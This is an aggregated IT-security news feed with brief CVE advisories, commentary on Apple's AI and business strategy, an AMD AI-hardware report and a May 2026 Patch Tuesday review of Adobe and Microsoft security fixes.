Team IT Security - 📰 Alle Kategorien

Changxin Memory Technologies: Börsengang von CXMT verändert den globalen DRAM- und HBM-Markt

Sun, 26 Jul 2026 15:15:13 +0200

Speicherchiphersteller CXMT steht vor einem Rekordbörsengang. Der Apple-Partner steht in den USA auf der schwarzen Liste. Ein Bericht von Achim Sawall (China, Apple)

CVE-2026-64431 | Linux Kernel NTFS post_write_mst_fixup memory corruption (Nessus ID 329973)

Sun, 26 Jul 2026 12:50:49 +0200

A vulnerability was found in Linux Kernel. It has been rated as critical. Affected by this vulnerability is the function post_write_mst_fixup of the component NTFS. Performing a manipulation results in memory corruption. This vulnerability is cataloged as CVE-2026-64431. It is possible to initiate the attack remotely. There is no exploit available. Applying a patch is the recommended action to fix this issue.

Now might be a good time to get yourself a Roku: prices are set to rise by up to 60%, and the memory shortage is to blame

Sun, 26 Jul 2026 12:45:56 +0200

The prices on all of the Roku streaming sticks and boxes have gone up — though only in the US for now.

CVE-2026-64348 | Linux Kernel up to 7.2-rc2 USB iso_stream_schedule hcpriv memory leak (Nessus ID 329985)

Sun, 26 Jul 2026 07:48:46 +0200

A vulnerability, which was classified as very critical, was found in Linux Kernel up to 7.2-rc2. Affected is the function iso_stream_schedule of the component USB. Executing a manipulation of the argument hcpriv can lead to memory leak. This vulnerability is registered as CVE-2026-64348. It is possible to launch the attack remotely. No exploit is available. You should upgrade the affected component.

CVE-2026-64509 | Linux Kernel up to 6.12.96/6.18.38/7.1.3 block GenDiskBuilder::build memory leak (EUVD-2026-48853)

Sun, 26 Jul 2026 06:36:16 +0200

A vulnerability was found in Linux Kernel up to 6.12.96/6.18.38/7.1.3 and classified as very critical. This issue affects the function GenDiskBuilder::build of the component block. The manipulation results in memory leak. This vulnerability is known as CVE-2026-64509. It is possible to launch the attack remotely. No exploit is available. It is suggested to upgrade the affected component.

This AI SSD tech makes 8 RTX 5090s perform like 46 GPUs in inference

Sat, 25 Jul 2026 20:30:35 +0200

GenStorAIGE's AI90 combines HBM, DDR, and SSD storage, claiming faster inference while expanding effective GPU memory for large language models.

Designing High-Performance GPU Kernels with TileLang: Tensor-Core GEMM, Fused Softmax, FlashAttention, and Autotuning

Sat, 25 Jul 2026 20:26:45 +0200

Explore TileLang, a high-level Python domain-specific language that simplifies the design of high-performance GPU kernels. This tutorial provides a step-by-step approach to implementing complex workloads—including tiled tensor-core GEMM, fused softmax, and FlashAttention—while letting the compiler handle intricate thread mapping, memory layouts, and low-level CUDA instruction generation.

The post Designing High-Performance GPU Kernels with TileLang: Tensor-Core GEMM, Fused Softmax, FlashAttention, and Autotuning appeared first on MarkTechPost.

CVE-2026-66011 | ImageMagick up to 7.1.2-26 Command-Line Interface memory allocation (EUVD-2026-49042)

Sat, 25 Jul 2026 20:05:18 +0200

A vulnerability identified as problematic has been detected in ImageMagick. This affects an unknown part of the component Command-Line Interface. This manipulation causes uncontrolled memory allocation. This vulnerability is tracked as CVE-2026-66011. The attack is possible to be carried out remotely. No exploit exists. You should upgrade the affected component.

Apple could ‘run the table’ on AI if it does things right

Sat, 25 Jul 2026 19:50:13 +0200

Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.

Apple also offers limited capacity for more complex tasks through Private Cloud Compute, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services.

Deeply deployable

Critics can say it took Apple a long time to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party doesn’t mean you won’t shine once you get there.

Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for Edge AI use cases, on device — no cloud service required.

The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that future M7 Ultra Macs will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes.

While that does assume the AI-flationary memory market can supply that much RAM at prices humans can afford, it is also true that people are already running AI clusters using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe this will continue to be the case, and that it will even broaden as the power/performance offered at the high end grows.

What’s wrong with good enough?

When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for private AI services and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support OpenClaw instances shows they already are.

Ultimately, these different slices of momentum mean I agree with investor Jason Calacanis that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices.

It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run PrismML’s 1-bit, 27-billion parameter Bonsai on an iPad using the Locally app, and that’s in the here and now.

What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they have on their existing device or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models will erode. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all.

“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

Who has the most to lose?

The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.

These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.

Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)

Cupertino rising

What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

Apple and the changing of the guard

Sat, 25 Jul 2026 19:50:11 +0200

As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition.

What’s going well

Just look at the evidence:

Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.
While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop Amazon’s US best-selling chart, which currently includes six Macs in the top 10. The Neo has topped this chart since its introduction.
Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both Counterpoint and IDC tell us that iPhone shipments continue to increase, even as other vendor shipments slide.
IDC analyst Francisco Jeronimo recently estimated that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.
The company’s new 27 series of operating systems is attracting a great response as beta testers report that it is already solid, stable, and performing well.
The AI narrative has really changed, with analysts no longer quite so starry-eyed at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.

What’s coming up

The company’s newly-filed lawsuit against OpenAI may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other.

Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its Jony Ive-tinged talisman.

The stage is set for intense competition between the two. Though some say Apple’s needs to improve employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware.

If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.

Managing perception

It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”

Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same.

Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.

Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda.

That blow comes as Apple finally gets its act together around AI, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.

My kingdom come

Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a 20^thanniversary iPhone.

This is Apple’s party. OpenAI’s name didn’t make the list.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to The Core.

Own nothing, upgrade everything: Apple’s new Klarna deal

Sat, 25 Jul 2026 19:50:09 +0200

Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.

This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.

Moving closer to hardware-as-a-service

Apple has slowly been transitioning toward hardware-as-a-service for almost a decade. Back then, Forrester analyst Frank Gillet predicted the company would eventually offer bundles of services and products for a monthly, all-in, fee.

This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.

There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable.

Easy payments for RAM-ageddon

The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has previously rejected these plans to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.

“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by Computerworld. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.”

New age, new shopping habits

The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s good enough for GM, it’s good enough for Apple.

It’s all about attitude, too. From Apple’s perspective, it has done plenty of the groundwork required to convince its customers that subscription payments for things you value are no bad thing.

Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and CEO Tim Cook — first began banging the drum for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of more than 2.5 billion devices globally.

A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me.

There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can’t afford to own.

Managing future risk

The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to The Core.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes

Sat, 25 Jul 2026 19:49:17 +0200

Architecting cost-effective infrastructure by navigating the latency and storage trade-offs of HNSW, SPANN, and DiskANN

The post How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes appeared first on Towards Data Science.

GitLab Vulnerabilities Allow Attackers to Execute Remote Code on Default GitLab Installations

Sat, 25 Jul 2026 19:42:38 +0200

A newly disclosed exploit chain in GitLab shows how two long-buried memory-safety flaws in a Ruby JSON parsing library, Oj, could be combined to achieve remote code execution on default GitLab installations, exposing source code, Rails secrets, and internal services. As part of the Open Defense Initiative, Depthfirst researcher Yuhang Wu used the automated analysis […]

The post GitLab Vulnerabilities Allow Attackers to Execute Remote Code on Default GitLab Installations appeared first on Cyber Security News.

The May 2026 Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-49	Adobe Commerce	15	Critical	8.7	No	2
APSB26-48	Adobe After Effects	4	Critical	7.8	No	3
APSB26-50	Adobe Connect	2	Critical	9.6	No	3
APSB26-51	Adobe Illustrator	4	Critical	7.8	No	3
APSB26-47	Adobe Media Encoder	2	Critical	7.8	No	3
APSB26-46	Adobe Premiere Pro	3	Critical	7.8	No	3
APSB26-55	Adobe Substance 3D Painter	2	Critical	7.8	No	3
APSB26-54	Adobe Substance 3D Sampler	1	Critical	7.8	No	3
APSB26-53	Content Authenticity SDK	14	Critical	7.5	No	3
APSB26-52	Adobe Substance 3D Designer	5	Important	6.3	No	3
TOTAL	10 bulletins	52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

- CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

- CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

- CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

- CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-35435	Azure AI Foundry Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-35428	Azure Cloud Shell Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-42826	Azure DevOps Information Disclosure Vulnerability	Critical	10	No	No	Info
CVE-2026-32207	Azure Machine Learning Notebook Spoofing Vulnerability	Critical	8.8	No	No	Spoofing
CVE-2026-33109	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-33844	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9	No	No	RCE
CVE-2026-41105	Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability	Critical	8.1	No	No	EoP
CVE-2026-33111	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26129	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26164	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-33821	Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability	Critical	7.7	No	No	EoP
CVE-2026-42898	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-40379	Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability	Critical	9.3	No	No	Spoofing
CVE-2026-40363	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40358	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-34327	Microsoft Partner Center Spoofing Vulnerability	Critical	8.2	No	No	Spoofing
CVE-2026-40365	Microsoft SharePoint Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41103	Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability	Critical	9.1	No	No	EoP
CVE-2026-33823	Microsoft Team Events Portal Information Disclosure Vulnerability	Critical	9.6	No	No	Info
CVE-2026-40364	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40366	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40361	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40367	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-42831	Office for Android Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-41096	Windows DNS Client Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-35421	Windows GDI Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-40403	Windows Graphics Component Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-40402	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-32161	Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability	Critical	7.5	No	No	RCE
CVE-2026-41089	Windows Netlogon Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-32175	.NET Core Tampering Vulnerability	Important	4.3	No	No	Tampering
CVE-2026-32177	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-35433	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2025-54518 *	AMD: CVE-2025-54518 CPU OP Cache Corruption	Important		No	No	RCE
CVE-2026-42899	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40381	Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42823 †	Azure Logic Apps Elevation of Privilege Vulnerability	Important	9.9	No	No	EoP
CVE-2026-33833	Azure Machine Learning Notebook Spoofing Vulnerability	Important	8.2	No	No	Spoofing
CVE-2026-32204	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42830	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-33117	Azure SDK for Java Security Feature Bypass Vulnerability	Important	9.1	No	No	SFB
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-35424	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-41614	M365 Copilot for Desktop Spoofing Vulnerability	Important	6.2	No	No	Spoofing
